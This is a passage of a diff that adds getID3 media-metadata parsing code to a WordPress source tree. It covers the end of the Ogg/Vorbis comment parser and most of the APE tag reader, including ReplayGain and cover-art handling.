+				if ($this->feof() || (($filedata .= $this->fread($this->getid3->fread_buffer_size())) === false)) {
+					// get some more data, unless eof, in which case fail
+					return false;
+				}
+			}
+		}
+		$filedataoffset += strlen('OggS') - 1; // page, delimited by 'OggS'
+
+		$oggheader['stream_structver']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+		$filedataoffset += 1;
+		$oggheader['flags_raw']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+		$filedataoffset += 1;
+		$oggheader['flags']['fresh']    = (bool) ($oggheader['flags_raw'] & 0x01); // fresh packet
+		$oggheader['flags']['bos']      = (bool) ($oggheader['flags_raw'] & 0x02); // first page of logical bitstream (bos)
+		$oggheader['flags']['eos']      = (bool) ($oggheader['flags_raw'] & 0x04); // last page of logical bitstream (eos)
+
+		$oggheader['pcm_abs_position']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8));
+		$filedataoffset += 8;
+		$oggheader['stream_serialno']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$oggheader['page_seqno']        = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$oggheader['page_checksum']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$oggheader['page_segments']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+		$filedataoffset += 1;
+		$oggheader['page_length'] = 0;
+		for ($i = 0; $i < $oggheader['page_segments']; $i++) {
+			$oggheader['segment_table'][$i] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+			$filedataoffset += 1;
+			$oggheader['page_length'] += $oggheader['segment_table'][$i];
+		}
+		$oggheader['header_end_offset'] = $oggheader['page_start_offset'] + $filedataoffset;
+		$oggheader['page_end_offset']   = $oggheader['header_end_offset'] + $oggheader['page_length'];
+		$this->fseek($oggheader['header_end_offset']);
+
+		return $oggheader;
+	}
+
+    // http://xiph.org/vorbis/doc/Vorbis_I_spec.html#x1-810005
+	public function ParseVorbisComments() {
+		$info = &$this->getid3->info;
+
+		$OriginalOffset = $this->ftell();
+		$commentdataoffset = 0;
+		$VorbisCommentPage = 1;
+
+		switch ($info['audio']['dataformat']) {
+			case 'vorbis':
+			case 'speex':
+			case 'opus':
+				$CommentStartOffset = $info['ogg']['pageheader'][$VorbisCommentPage]['page_start_offset'];  // Second Ogg page, after header block
+				$this->fseek($CommentStartOffset);
+				$commentdataoffset = 27 + $info['ogg']['pageheader'][$VorbisCommentPage]['page_segments'];
+				$commentdata = $this->fread(self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1) + $commentdataoffset);
+
+				if ($info['audio']['dataformat'] == 'vorbis') {
+					$commentdataoffset += (strlen('vorbis') + 1);
+				}
+				else if ($info['audio']['dataformat'] == 'opus') {
+					$commentdataoffset += strlen('OpusTags');
+				}
+
+				break;
+
+			case 'flac':
+				$CommentStartOffset = $info['flac']['VORBIS_COMMENT']['raw']['offset'] + 4;
+				$this->fseek($CommentStartOffset);
+				$commentdata = $this->fread($info['flac']['VORBIS_COMMENT']['raw']['block_length']);
+				break;
+
+			default:
+				return false;
+				break;
+		}
+
+		$VendorSize = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
+		$commentdataoffset += 4;
+
+		$info['ogg']['vendor'] = substr($commentdata, $commentdataoffset, $VendorSize);
+		$commentdataoffset += $VendorSize;
+
+		$CommentsCount = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
+		$commentdataoffset += 4;
+		$info['avdataoffset'] = $CommentStartOffset + $commentdataoffset;
+
+		$basicfields = array('TITLE', 'ARTIST', 'ALBUM', 'TRACKNUMBER', 'GENRE', 'DATE', 'DESCRIPTION', 'COMMENT');
+		$ThisFileInfo_ogg_comments_raw = &$info['ogg']['comments_raw'];
+		for ($i = 0; $i < $CommentsCount; $i++) {
+
+			if ($i >= 10000) {
+				// https://github.com/owncloud/music/issues/212#issuecomment-43082336
+				$this->warning('Unexpectedly large number ('.$CommentsCount.') of Ogg comments - breaking after reading '.$i.' comments');
+				break;
+			}
+
+			$ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] = $CommentStartOffset + $commentdataoffset;
+
+			if ($this->ftell() < ($ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + 4)) {
+				if ($oggpageinfo = $this->ParseOggPageHeader()) {
+					$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;
+
+					$VorbisCommentPage++;
+
+					// First, save what we haven't read yet
+					$AsYetUnusedData = substr($commentdata, $commentdataoffset);
+
+					// Then take that data off the end
+					$commentdata     = substr($commentdata, 0, $commentdataoffset);
+
+					// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
+					$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
+					$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
+
+					// Finally, stick the unused data back on the end
+					$commentdata .= $AsYetUnusedData;
+
+					//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
+					$commentdata .= $this->fread($this->OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1));
+				}
+
+			}
+			$ThisFileInfo_ogg_comments_raw[$i]['size'] = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
+
+			// replace avdataoffset with position just after the last vorbiscomment
+			$info['avdataoffset'] = $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + $ThisFileInfo_ogg_comments_raw[$i]['size'] + 4;
+
+			$commentdataoffset += 4;
+			while ((strlen($commentdata) - $commentdataoffset) < $ThisFileInfo_ogg_comments_raw[$i]['size']) {
+				if (($ThisFileInfo_ogg_comments_raw[$i]['size'] > $info['avdataend']) || ($ThisFileInfo_ogg_comments_raw[$i]['size'] < 0)) {
+					$this->warning('Invalid Ogg comment size (comment #'.$i.', claims to be '.number_format($ThisFileInfo_ogg_comments_raw[$i]['size']).' bytes) - aborting reading comments');
+					break 2;
+				}
+
+				$VorbisCommentPage++;
+
+				$oggpageinfo = $this->ParseOggPageHeader();
+				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;
+
+				// First, save what we haven't read yet
+				$AsYetUnusedData = substr($commentdata, $commentdataoffset);
+
+				// Then take that data off the end
+				$commentdata     = substr($commentdata, 0, $commentdataoffset);
+
+				// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
+				$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
+				$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
+
+				// Finally, stick the unused data back on the end
+				$commentdata .= $AsYetUnusedData;
+
+				//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
+				if (!isset($info['ogg']['pageheader'][$VorbisCommentPage])) {
+					$this->warning('undefined Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell());
+					break;
+				}
+				$readlength = self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1);
+				if ($readlength <= 0) {
+					$this->warning('invalid length Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell());
+					break;
+				}
+				$commentdata .= $this->fread($readlength);
+
+				//$filebaseoffset += $oggpageinfo['header_end_offset'] - $oggpageinfo['page_start_offset'];
+			}
+			$ThisFileInfo_ogg_comments_raw[$i]['offset'] = $commentdataoffset;
+			$commentstring = substr($commentdata, $commentdataoffset, $ThisFileInfo_ogg_comments_raw[$i]['size']);
+			$commentdataoffset += $ThisFileInfo_ogg_comments_raw[$i]['size'];
+
+			if (!$commentstring) {
+
+				// no comment?
+				$this->warning('Blank Ogg comment ['.$i.']');
+
+			} elseif (strstr($commentstring, '=')) {
+
+				$commentexploded = explode('=', $commentstring, 2);
+				$ThisFileInfo_ogg_comments_raw[$i]['key']   = strtoupper($commentexploded[0]);
+				$ThisFileInfo_ogg_comments_raw[$i]['value'] = (isset($commentexploded[1]) ? $commentexploded[1] : '');
+
+				if ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'METADATA_BLOCK_PICTURE') {
+
+					// http://wiki.xiph.org/VorbisComment#METADATA_BLOCK_PICTURE
+					// The unencoded format is that of the FLAC picture block. The fields are stored in big endian order as in FLAC, picture data is stored according to the relevant standard.
+					// http://flac.sourceforge.net/format.html#metadata_block_picture
+					$flac = new getid3_flac($this->getid3);
+					$flac->setStringMode(base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']));
+					$flac->parsePICTURE();
+					$info['ogg']['comments']['picture'][] = $flac->getid3->info['flac']['PICTURE'][0];
+					unset($flac);
+
+				} elseif ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'COVERART') {
+
+					$data = base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']);
+					$this->notice('Found deprecated COVERART tag, it should be replaced in honor of METADATA_BLOCK_PICTURE structure');
+					/** @todo use 'coverartmime' where available */
+					$imageinfo = getid3_lib::GetDataImageSize($data);
+					if ($imageinfo === false || !isset($imageinfo['mime'])) {
+						$this->warning('COVERART vorbiscomment tag contains invalid image');
+						continue;
+					}
+
+					$ogg = new self($this->getid3);
+					$ogg->setStringMode($data);
+					$info['ogg']['comments']['picture'][] = array(
+						'image_mime'   => $imageinfo['mime'],
+						'datalength'   => strlen($data),
+						'picturetype'  => 'cover art',
+						'image_height' => $imageinfo['height'],
+						'image_width'  => $imageinfo['width'],
+						'data'         => $ogg->saveAttachment('coverart', 0, strlen($data), $imageinfo['mime']),
+					);
+					unset($ogg);
+
+				} else {
+
+					$info['ogg']['comments'][strtolower($ThisFileInfo_ogg_comments_raw[$i]['key'])][] = $ThisFileInfo_ogg_comments_raw[$i]['value'];
+
+				}
+
+			} else {
+
+				$this->warning('[known problem with CDex >= v1.40, < v1.50b7] Invalid Ogg comment name/value pair ['.$i.']: '.$commentstring);
+
+			}
+			unset($ThisFileInfo_ogg_comments_raw[$i]);
+		}
+		unset($ThisFileInfo_ogg_comments_raw);
+
+
+		// Replay Gain Adjustment
+		// http://privatewww.essex.ac.uk/~djmrob/replaygain/
+		if (isset($info['ogg']['comments']) && is_array($info['ogg']['comments'])) {
+			foreach ($info['ogg']['comments'] as $index => $commentvalue) {
+				switch ($index) {
+					case 'rg_audiophile':
+					case 'replaygain_album_gain':
+						$info['replay_gain']['album']['adjustment'] = (double) $commentvalue[0];
+						unset($info['ogg']['comments'][$index]);
+						break;
+
+					case 'rg_radio':
+					case 'replaygain_track_gain':
+						$info['replay_gain']['track']['adjustment'] = (double) $commentvalue[0];
+						unset($info['ogg']['comments'][$index]);
+						break;
+
+					case 'replaygain_album_peak':
+						$info['replay_gain']['album']['peak'] = (double) $commentvalue[0];
+						unset($info['ogg']['comments'][$index]);
+						break;
+
+					case 'rg_peak':
+					case 'replaygain_track_peak':
+						$info['replay_gain']['track']['peak'] = (double) $commentvalue[0];
+						unset($info['ogg']['comments'][$index]);
+						break;
+
+					case 'replaygain_reference_loudness':
+						$info['replay_gain']['reference_volume'] = (double) $commentvalue[0];
+						unset($info['ogg']['comments'][$index]);
+						break;
+
+					default:
+						// do nothing
+						break;
+				}
+			}
+		}
+
+		$this->fseek($OriginalOffset);
+
+		return true;
+	}
+
+	public static function SpeexBandModeLookup($mode) {
+		static $SpeexBandModeLookup = array();
+		if (empty($SpeexBandModeLookup)) {
+			$SpeexBandModeLookup[0] = 'narrow';
+			$SpeexBandModeLookup[1] = 'wide';
+			$SpeexBandModeLookup[2] = 'ultra-wide';
+		}
+		return (isset($SpeexBandModeLookup[$mode]) ? $SpeexBandModeLookup[$mode] : null);
+	}
+
+
+	public static function OggPageSegmentLength($OggInfoArray, $SegmentNumber=1) {
+		for ($i = 0; $i < $SegmentNumber; $i++) {
+			$segmentlength = 0;
+			foreach ($OggInfoArray['segment_table'] as $key => $value) {
+				$segmentlength += $value;
+				if ($value < 255) {
+					break;
+				}
+			}
+		}
+		return $segmentlength;
+	}
+
+
+	public static function get_quality_from_nominal_bitrate($nominal_bitrate) {
+
+		// decrease precision
+		$nominal_bitrate = $nominal_bitrate / 1000;
+
+		if ($nominal_bitrate < 128) {
+			// q-1 to q4
+			$qval = ($nominal_bitrate - 64) / 16;
+		} elseif ($nominal_bitrate < 256) {
+			// q4 to q8
+			$qval = $nominal_bitrate / 32;
+		} elseif ($nominal_bitrate < 320) {
+			// q8 to q9
+			$qval = ($nominal_bitrate + 256) / 64;
+		} else {
+			// q9 to q10
+			$qval = ($nominal_bitrate + 1300) / 180;
+		}
+		//return $qval; // 5.031324
+		//return intval($qval); // 5
+		return round($qval, 1); // 5 or 4.9
+	}
+
+	public static function TheoraColorSpace($colorspace_id) {
+		// http://www.theora.org/doc/Theora.pdf (table 6.3)
+		static $TheoraColorSpaceLookup = array();
+		if (empty($TheoraColorSpaceLookup)) {
+			$TheoraColorSpaceLookup[0] = 'Undefined';
+			$TheoraColorSpaceLookup[1] = 'Rec. 470M';
+			$TheoraColorSpaceLookup[2] = 'Rec. 470BG';
+			$TheoraColorSpaceLookup[3] = 'Reserved';
+		}
+		return (isset($TheoraColorSpaceLookup[$colorspace_id]) ? $TheoraColorSpaceLookup[$colorspace_id] : null);
+	}
+
+	public static function TheoraPixelFormat($pixelformat_id) {
+		// http://www.theora.org/doc/Theora.pdf (table 6.4)
+		static $TheoraPixelFormatLookup = array();
+		if (empty($TheoraPixelFormatLookup)) {
+			$TheoraPixelFormatLookup[0] = '4:2:0';
+			$TheoraPixelFormatLookup[1] = 'Reserved';
+			$TheoraPixelFormatLookup[2] = '4:2:2';
+			$TheoraPixelFormatLookup[3] = '4:4:4';
+		}
+		return (isset($TheoraPixelFormatLookup[$pixelformat_id]) ? $TheoraPixelFormatLookup[$pixelformat_id] : null);
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.tag.apetag.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.tag.apetag.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.tag.apetag.php	(revision 56912)
@@ -0,0 +1,416 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.tag.apetag.php                                       //
+// module for analyzing APE tags                               //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+class getid3_apetag extends getid3_handler
+{
+	public $inline_attachments = true; // true: return full data for all attachments; false: return no data for all attachments; integer: return data for attachments <= than this; string: save as file to this directory
+	public $overrideendoffset  = 0;
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		if (!getid3_lib::intValueSupported($info['filesize'])) {
+			$this->warning('Unable to check for APEtags because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
+			return false;
+		}
+
+		$id3v1tagsize     = 128;
+		$apetagheadersize = 32;
+		$lyrics3tagsize   = 10;
+
+		if ($this->overrideendoffset == 0) {
+
+			$this->fseek(0 - $id3v1tagsize - $apetagheadersize - $lyrics3tagsize, SEEK_END);
+			$APEfooterID3v1 = $this->fread($id3v1tagsize + $apetagheadersize + $lyrics3tagsize);
+
+			//if (preg_match('/APETAGEX.{24}TAG.{125}$/i', $APEfooterID3v1)) {
+			if (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $id3v1tagsize - $apetagheadersize, 8) == 'APETAGEX') {
+
+				// APE tag found before ID3v1
+				$info['ape']['tag_offset_end'] = $info['filesize'] - $id3v1tagsize;
+
+			//} elseif (preg_match('/APETAGEX.{24}$/i', $APEfooterID3v1)) {
+			} elseif (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $apetagheadersize, 8) == 'APETAGEX') {
+
+				// APE tag found, no ID3v1
+				$info['ape']['tag_offset_end'] = $info['filesize'];
+
+			}
+
+		} else {
+
+			$this->fseek($this->overrideendoffset - $apetagheadersize);
+			if ($this->fread(8) == 'APETAGEX') {
+				$info['ape']['tag_offset_end'] = $this->overrideendoffset;
+			}
+
+		}
+		if (!isset($info['ape']['tag_offset_end'])) {
+
+			// APE tag not found
+			unset($info['ape']);
+			return false;
+
+		}
+
+		// shortcut
+		$thisfile_ape = &$info['ape'];
+
+		$this->fseek($thisfile_ape['tag_offset_end'] - $apetagheadersize);
+		$APEfooterData = $this->fread(32);
+		if (!($thisfile_ape['footer'] = $this->parseAPEheaderFooter($APEfooterData))) {
+			$this->error('Error parsing APE footer at offset '.$thisfile_ape['tag_offset_end']);
+			return false;
+		}
+
+		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
+			$this->fseek($thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'] - $apetagheadersize);
+			$thisfile_ape['tag_offset_start'] = $this->ftell();
+			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize'] + $apetagheadersize);
+		} else {
+			$thisfile_ape['tag_offset_start'] = $thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'];
+			$this->fseek($thisfile_ape['tag_offset_start']);
+			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize']);
+		}
+		$info['avdataend'] = $thisfile_ape['tag_offset_start'];
+
+		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] < $thisfile_ape['tag_offset_end'])) {
+			$this->warning('ID3v1 tag information ignored since it appears to be a false synch in APEtag data');
+			unset($info['id3v1']);
+			foreach ($info['warning'] as $key => $value) {
+				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
+					unset($info['warning'][$key]);
+					sort($info['warning']);
+					break;
+				}
+			}
+		}
+
+		$offset = 0;
+		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
+			if ($thisfile_ape['header'] = $this->parseAPEheaderFooter(substr($APEtagData, 0, $apetagheadersize))) {
+				$offset += $apetagheadersize;
+			} else {
+				$this->error('Error parsing APE header at offset '.$thisfile_ape['tag_offset_start']);
+				return false;
+			}
+		}
+
+		// shortcut
+		$info['replay_gain'] = array();
+		$thisfile_replaygain = &$info['replay_gain'];
+
+		for ($i = 0; $i < $thisfile_ape['footer']['raw']['tag_items']; $i++) {
+			$value_size = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
+			$offset += 4;
+			$item_flags = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
+			$offset += 4;
+			if (strstr(substr($APEtagData, $offset), "\x00") === false) {
+				$this->error('Cannot find null-byte (0x00) separator between ItemKey #'.$i.' and value. ItemKey starts '.$offset.' bytes into the APE tag, at file offset '.($thisfile_ape['tag_offset_start'] + $offset));
+				return false;
+			}
+			$ItemKeyLength = strpos($APEtagData, "\x00", $offset) - $offset;
+			$item_key      = strtolower(substr($APEtagData, $offset, $ItemKeyLength));
+
+			// shortcut
+			$thisfile_ape['items'][$item_key] = array();
+			$thisfile_ape_items_current = &$thisfile_ape['items'][$item_key];
+
+			$thisfile_ape_items_current['offset'] = $thisfile_ape['tag_offset_start'] + $offset;
+
+			$offset += ($ItemKeyLength + 1); // skip 0x00 terminator
+			$thisfile_ape_items_current['data'] = substr($APEtagData, $offset, $value_size);
+			$offset += $value_size;
+
+			$thisfile_ape_items_current['flags'] = $this->parseAPEtagFlags($item_flags);
+			switch ($thisfile_ape_items_current['flags']['item_contents_raw']) {
+				case 0: // UTF-8
+				case 2: // Locator (URL, filename, etc), UTF-8 encoded
+					$thisfile_ape_items_current['data'] = explode("\x00", $thisfile_ape_items_current['data']);
+					break;
+
+				case 1:  // binary data
+				default:
+					break;
+			}
+
+			switch (strtolower($item_key)) {
+				// http://wiki.hydrogenaud.io/index.php?title=ReplayGain#MP3Gain
+				case 'replaygain_track_gain':
+					if (preg_match('#^[\\-\\+][0-9\\.,]{8}$#', $thisfile_ape_items_current['data'][0])) {
+						$thisfile_replaygain['track']['adjustment'] = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
+						$thisfile_replaygain['track']['originator'] = 'unspecified';
+					} else {
+						$this->warning('MP3gainTrackGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
+					}
+					break;
+
+				case 'replaygain_track_peak':
+					if (preg_match('#^[0-9\\.,]{8}$#', $thisfile_ape_items_current['data'][0])) {
+						$thisfile_replaygain['track']['peak']       = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
+						$thisfile_replaygain['track']['originator'] = 'unspecified';
+						if ($thisfile_replaygain['track']['peak'] <= 0) {
+							$this->warning('ReplayGain Track peak from APEtag appears invalid: '.$thisfile_replaygain['track']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")');
+						}
+					} else {
+						$this->warning('MP3gainTrackPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
+					}
+					break;
+
+				case 'replaygain_album_gain':
+					if (preg_match('#^[\\-\\+][0-9\\.,]{8}$#', $thisfile_ape_items_current['data'][0])) {
+						$thisfile_replaygain['album']['adjustment'] = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
+						$thisfile_replaygain['album']['originator'] = 'unspecified';
+					} else {
+						$this->warning('MP3gainAlbumGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
+					}
+					break;
+
+				case 'replaygain_album_peak':
+					if (preg_match('#^[0-9\\.,]{8}$#', $thisfile_ape_items_current['data'][0])) {
+						$thisfile_replaygain['album']['peak']       = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
+						$thisfile_replaygain['album']['originator'] = 'unspecified';
+						if ($thisfile_replaygain['album']['peak'] <= 0) {
+							$this->warning('ReplayGain Album peak from APEtag appears invalid: '.$thisfile_replaygain['album']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")');
+						}
+					} else {
+						$this->warning('MP3gainAlbumPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
+					}
+					break;
+
+				case 'mp3gain_undo':
+					if (preg_match('#^[\\-\\+][0-9]{3},[\\-\\+][0-9]{3},[NW]$#', $thisfile_ape_items_current['data'][0])) {
+						list($mp3gain_undo_left, $mp3gain_undo_right, $mp3gain_undo_wrap) = explode(',', $thisfile_ape_items_current['data'][0]);
+						$thisfile_replaygain['mp3gain']['undo_left']  = intval($mp3gain_undo_left);
+						$thisfile_replaygain['mp3gain']['undo_right'] = intval($mp3gain_undo_right);
+						$thisfile_replaygain['mp3gain']['undo_wrap']  = (($mp3gain_undo_wrap == 'Y') ? true : false);
+					} else {
+						$this->warning('MP3gainUndo value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
+					}
+					break;
+
+				case 'mp3gain_minmax':
+					if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) {
+						list($mp3gain_globalgain_min, $mp3gain_globalgain_max) = explode(',', $thisfile_ape_items_current['data'][0]);
+						$thisfile_replaygain['mp3gain']['globalgain_track_min'] = intval($mp3gain_globalgain_min);
+						$thisfile_replaygain['mp3gain']['globalgain_track_max'] = intval($mp3gain_globalgain_max);
+					} else {
+						$this->warning('MP3gainMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
+					}
+					break;
+
+				case 'mp3gain_album_minmax':
+					if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) {
+						list($mp3gain_globalgain_album_min, $mp3gain_globalgain_album_max) = explode(',', $thisfile_ape_items_current['data'][0]);
+						$thisfile_replaygain['mp3gain']['globalgain_album_min'] = intval($mp3gain_globalgain_album_min);
+						$thisfile_replaygain['mp3gain']['globalgain_album_max'] = intval($mp3gain_globalgain_album_max);
+					} else {
+						$this->warning('MP3gainAlbumMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
+					}
+					break;
+
+				case 'tracknumber':
+					if (is_array($thisfile_ape_items_current['data'])) {
+						foreach ($thisfile_ape_items_current['data'] as $comment) {
+							$thisfile_ape['comments']['track'][] = $comment;
+						}
+					}
+					break;
+
+				case 'cover art (artist)':
+				case 'cover art (back)':
+				case 'cover art (band logo)':
+				case 'cover art (band)':
+				case 'cover art (colored fish)':
+				case 'cover art (composer)':
+				case 'cover art (conductor)':
+				case 'cover art (front)':
+				case 'cover art (icon)':
+				case 'cover art (illustration)':
+				case 'cover art (lead)':
+				case 'cover art (leaflet)':
+				case 'cover art (lyricist)':
+				case 'cover art (media)':
+				case 'cover art (movie scene)':
+				case 'cover art (other icon)':
+				case 'cover art (other)':
+				case 'cover art (performance)':
+				case 'cover art (publisher logo)':
+				case 'cover art (recording)':
+				case 'cover art (studio)':
+					// list of possible cover arts from http://taglib-sharp.sourcearchive.com/documentation/2.0.3.0-2/Ape_2Tag_8cs-source.html
+					if (is_array($thisfile_ape_items_current['data'])) {
+						$this->warning('APEtag "'.$item_key.'" should be flagged as Binary data, but was incorrectly flagged as UTF-8');
+						$thisfile_ape_items_current['data'] = implode("\x00", $thisfile_ape_items_current['data']);
+					}
+					list($thisfile_ape_items_current['filename'], $thisfile_ape_items_current['data']) = explode("\x00", $thisfile_ape_items_current['data'], 2);
+					$thisfile_ape_items_current['data_offset'] = $thisfile_ape_items_current['offset'] + strlen($thisfile_ape_items_current['filename']."\x00");
+					$thisfile_ape_items_current['data_length'] = strlen($thisfile_ape_items_current['data']);
+
+					do {
+						$thisfile_ape_items_current['image_mime'] = '';
+						$imageinfo = array();
+						$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_ape_items_current['data'], $imageinfo);
+						if (($imagechunkcheck === false) || !isset($imagechunkcheck[2])) {
+							$this->warning('APEtag "'.$item_key.'" contains invalid image data');
+							break;
+						}
+						$thisfile_ape_items_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
+
+						if ($this->inline_attachments === false) {
+							// skip entirely
+							unset($thisfile_ape_items_current['data']);
+							break;
+						}
+						if ($this->inline_attachments === true) {
+							// great
+						} elseif (is_int($this->inline_attachments)) {
+							if ($this->inline_attachments < $thisfile_ape_items_current['data_length']) {
+								// too big, skip
+								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' is too large to process inline ('.number_format($thisfile_ape_items_current['data_length']).' bytes)');
+								unset($thisfile_ape_items_current['data']);
+								break;
+							}
+						} elseif (is_string($this->inline_attachments)) {
+							$this->inline_attachments = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->inline_attachments), DIRECTORY_SEPARATOR);
+							if (!is_dir($this->inline_attachments) || !getID3::is_writable($this->inline_attachments)) {
+								// cannot write, skip
+								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$this->inline_attachments.'" (not writable)');
+								unset($thisfile_ape_items_current['data']);
+								break;
+							}
+						}
+						// if we get this far, must be OK
+						if (is_string($this->inline_attachments)) {
+							$destination_filename = $this->inline_attachments.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$thisfile_ape_items_current['data_offset'];
+							if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) {
+								file_put_contents($destination_filename, $thisfile_ape_items_current['data']);
+							} else {
+								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$destination_filename.'" (not writable)');
+							}
+							$thisfile_ape_items_current['data_filename'] = $destination_filename;
+							unset($thisfile_ape_items_current['data']);
+						} else {
+							if (!isset($info['ape']['comments']['picture'])) {
+								$info['ape']['comments']['picture'] = array();
+							}
+							$comments_picture_data = array();
+							foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
+								if (isset($thisfile_ape_items_current[$picture_key])) {
+									$comments_picture_data[$picture_key] = $thisfile_ape_items_current[$picture_key];
+								}
+							}
+							$info['ape']['comments']['picture'][] = $comments_picture_data;
+							unset($comments_picture_data);
+						}
+					} while (false);
+					break;
+
+				default:
+					if (is_array($thisfile_ape_items_current['data'])) {
+						foreach ($thisfile_ape_items_current['data'] as $comment) {
+							$thisfile_ape['comments'][strtolower($item_key)][] = $comment;
+						}
+					}
+					break;
+			}
+
+		}
+		if (empty($thisfile_replaygain)) {
+			unset($info['replay_gain']);
+		}
+		return true;
+	}
+
+	public function parseAPEheaderFooter($APEheaderFooterData) {
+		// http://www.uni-jena.de/~pfk/mpp/sv8/apeheader.html
+
+		// shortcut
+		$headerfooterinfo['raw'] = array();
+		$headerfooterinfo_raw = &$headerfooterinfo['raw'];
+
+		$headerfooterinfo_raw['footer_tag']   =                  substr($APEheaderFooterData,  0, 8);
+		if ($headerfooterinfo_raw['footer_tag'] != 'APETAGEX') {
+			return false;
+		}
+		$headerfooterinfo_raw['version']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData,  8, 4));
+		$headerfooterinfo_raw['tagsize']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 12, 4));
+		$headerfooterinfo_raw['tag_items']    = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 16, 4));
